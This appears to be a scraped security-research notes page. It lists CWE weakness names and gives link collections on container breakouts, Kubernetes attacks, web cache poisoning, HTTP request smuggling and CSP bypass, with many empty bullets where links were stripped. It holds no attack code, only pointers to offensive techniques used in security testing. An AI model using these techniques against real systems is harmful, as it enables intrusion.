Cryptographic Step - CWE-325 Modification of Assumed-Immutable Data (MAID) - CWE-471 NULL Pointer Dereference - CWE-476 Off-by-one Error - CWE-193 Open Redirect - CWE-601 OS Command Injection - CWE-78 Out-of-bounds Read - CWE-125 Password in Configuration File - CWE-260 Path Traversal - CWE-22 Path Traversal - CWE-35 Phishing - CAPEC-98 Plaintext Storage of a Password - CWE-256 Privacy Violation - CWE-359 Privilege Escalation - CAPEC-233 Relative Path Traversal - CWE-23 Reliance on Cookies without Validation and Integrity Checking in a Security Decision - CWE-784 Reliance on Reverse DNS Resolution for a Security-Critical Action - CWE-350 Reliance on Untrusted Inputs in a Security Decision - CWE-807 Remote File Inclusion - CWE-98 Replicating Malicious Code (Virus or Worm) - CWE-509 Resource Injection - CWE-99 Reusing a Nonce, Key Pair in Encryption - CWE-323 Reversible One-Way Hash - CWE-328 Scams Security Through Obscurity - CWE-656 Server-Side Request Forgery (SSRF) - CWE-918 Session Fixation - CWE-384 Spam SQL Injection - CWE-89 Stack Overflow - CWE-121 Storing Passwords in a Recoverable Format - CWE-257 Time-of-check Time-of-use (TOCTOU) Race Condition - CWE-367 Trust of System Event Data - CWE-360 Type Confusion - CWE-843 UI Redressing (Clickjacking) - CAPEC-103 Unchecked Error Condition - CWE-391 Uncontrolled Recursion - CWE-674 Unprotected Transport of Credentials - CWE-523 Unrestricted Upload of File with Dangerous Type - CWE-434 Untrusted Search Path - CWE-426 Unverified Password Change - CWE-620 Use After Free - CWE-416 Use of a Broken or Risky Cryptographic Algorithm - CWE-327 Use of a Key Past its Expiration Date - CWE-324 Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) - CWE-338 Use of Externally-Controlled Format String - CWE-134 Use of Hard-coded Credentials - CWE-798 Use of Hard-coded Cryptographic Key - CWE-321 Use of Hard-coded Password - CWE-259 Use of Inherently Dangerous Function - CWE-242 Use of Insufficiently Random Values - CWE-330 User Interface (UI) Misrepresentation of Critical Information - CWE-451 Violation of Secure Design Principles - CWE-657 Weak Cryptography for Passwords - CWE-261 Weak Password Recovery Mechanism for Forgotten Password - CWE-640 Wrap-around Error - CWE-128 Write-what-where Condition - CWE-123 XML Entity Expansion - CWE-776 XML External Entities (XXE) - CWE-611 XML Injection - CWE-91 XSS - Reflected XSS Using MIME Type Mismatch - CAPEC-209 ``` \---- \== \-- {% embed url="" %} {% embed url="" %} # Response Manipulation * ![https://twitter.com/Mah3Sec\_/status/1348204024797949953?s=20](/files/-MWFeN8BYkQvNJnvNuhp) # Client Vs Server Side Vulnerabilities {% file src="/files/VKQdHiKdAjySwyvfvRf1" %} {% embed url="" %} # DevSecOps * * * awesome-devops github * * * Practical DevSecOPS * check grofers eng blog * * * # Containers # Docker Docker * * * * * * * * * * * - nice one * - \*\* * Tools: DAgda Hadolint / Dockle docker linter , Learning: * Katacoda * * * play with docker * Best Practices: * * * - CIS Benchmark * * Blogs: * * * * * For Practice: * Security * * * * * * * * Container Breakouts- * ``` https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/ https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/ https://capsule8.com/blog/practical-container-escape-exercise/ https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd?gi=d6343c6632fe ``` + # Kubernetes * Hacking and Hardening Kubernetes Clusters by Example - Brad Geesaman [https://youtube.com/watch?v=vTgQLzeBfRU…](https://t.co/NBk5rVIwMU?amp=1) One of the best [#kubernetes](https://twitter.com/hashtag/kubernetes?src=hashtag_click) security talks I've seen.![](https://pbs.twimg.com/card_img/1280394190917005312/Uzb6O1d6?format=jpg\&name=240x240)Hacking and Hardening Kubernetes Clusters by Example \[I] - Brad...Hacking and Hardening Kubernetes Clusters by Example \[I] - Brad Geesaman, Symantec While Kubernetes offers new and exciting ways to deploy and scale containe...youtube.com \\\\ \`\` Tools: {% embed url="" %} {% embed url="" %} ``` There are some useful articles on The Chief I/O like: https://thechief.io/c/cloudplex/21-resources-and-tutorials-learn-kubernetes/ https://thechief.io/c/cloudplex/top-20-kubernetes-interview-questions/ https://thechief.io/c/metricfire/kubernetes-networking-101/ https://thechief.io/c/metricfire/introduction-monitoring-kubernetes/ https://thechief.io/c/cloudplex/kubernetes-absolute-beginner-part-i/ https://thechief.io/c/cloudplex/kubernetes-absolute-beginner-part-ii/ https://thechief.io/c/cloudplex/kubernetes-absolute-beginner-part-iii/ https://thechief.io/c/cloudplex/kubernetes-absolute-beginner-part-iv/ More K8s articles: https://thechief.io/c/category/kubernetes/ ``` # Containers {% embed url="" %} {% embed url="" %} * * * * * * * * * * * * * * * /// * * * * * - K8s series 101 * * * - Best Resources * * - Attack Tool * * * * * * * * * * Tool - * Here's another one from KubeCon 2019 (Attacking and Defending Kubernetes Clusters: A Guided Tour Walkthrough Guide) - * * Kuberenetes RECON - * Blogs * * * * -- REcon - James Condon Devsecops: * * * {% embed url="" %} {% embed url="" %} # AWS ![](/files/-MWEGTZc1Sy77gsOjqGG) {% embed url="" %} {% embed url="" %} * * * * * -- Good * * * * * * * From my twitte * * Nice Resource - {% embed url="" %} Tools to audit * * * * * * * * Youtube Series - * # Azure * * # Others Work In Progress !!! * # Code Review {% embed url="" %} {% embed url="" %} {% embed url="" %} {% endembed %} # Web Sockets * Whats Wrong With WebSockets - * * * * * * # Web Cache * * * - Cache me if you can. * Cache me if you can ppt - * * Abusing HOP by HOP - * * Another Writeup :) Web Cache Deception Attack leads to user info disclosure[![](https://pbs.twimg.com/card_img/1281781791590715393/BIdylHSM?format=png\&name=small)](https://t.co/UVrtUvAY54?amp=1)[Web Cache Deception Attack leads to user info disclosureHello Everyonelink.medium.com](https://t.co/UVrtUvAY54?amp=1) * * * * * * * * * Tools: * References: * [YWH HTTP Header Exploitation](https://blog.yeswehack.com/yeswerhackers/http-header-exploitation/) * [Cache Poisoning at Scale](https://youst.in/posts/cache-poisoning-at-scale/) * [abusing http hop-by-hop request headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers) * [Web Cache Entanglement: Novel Pathways to Poisoning](https://portswigger.net/research/web-cache-entanglement) * [Practical Web Cache Poisoning](https://portswigger.net/research/practical-web-cache-poisoning) * [Exploiting cache design flaws](https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws) * [Responsible denial of service with web cache poisoning](https://portswigger.net/research/responsible-denial-of-service-with-web-cache-poisoning) * [CPDoS.org](https://cpdos.org/) * [Autopoisoner](https://github.com/Th0h0/autopoisoner) * [Rachid.A research](https://zhero-web-sec.github.io/research-and-things/nextjs-and-cache-poisoning-a-quest-for-the-black-hole) * * HackerOne Reports: * [https://hackerone.com/reports/409370]() * [https://hackerone.com/reports/728664]() * [https://hackerone.com/reports/622122]() * [https://hackerone.com/reports/942629]() * [https://hackerone.com/reports/1183263]() * [https://hackerone.com/reports/1096609]() * [https://hackerone.com/reports/326639]()
# HTTP Desync Attacks * * * * * HTTP Request Smuggling - * Tool - * HTTP Smuggling Lab - * Smuggler.py - * * * * - Request Sumggling * HTTP Request Smuggling on Nginx <=1.8.0 (CVE-2020-12440)[ - https://gist.github.com/Glassware123/1023720bf4787375a04f32a0c12e956a](https://gist.github.com/Glassware123/1023720bf4787375a04f32a0c12e956a) * * * {% embed url="" %} u # Zone Transfer # CSP Bypass * * [#JSONP](https://twitter.com/hashtag/JSONP?src=hashtag_click): \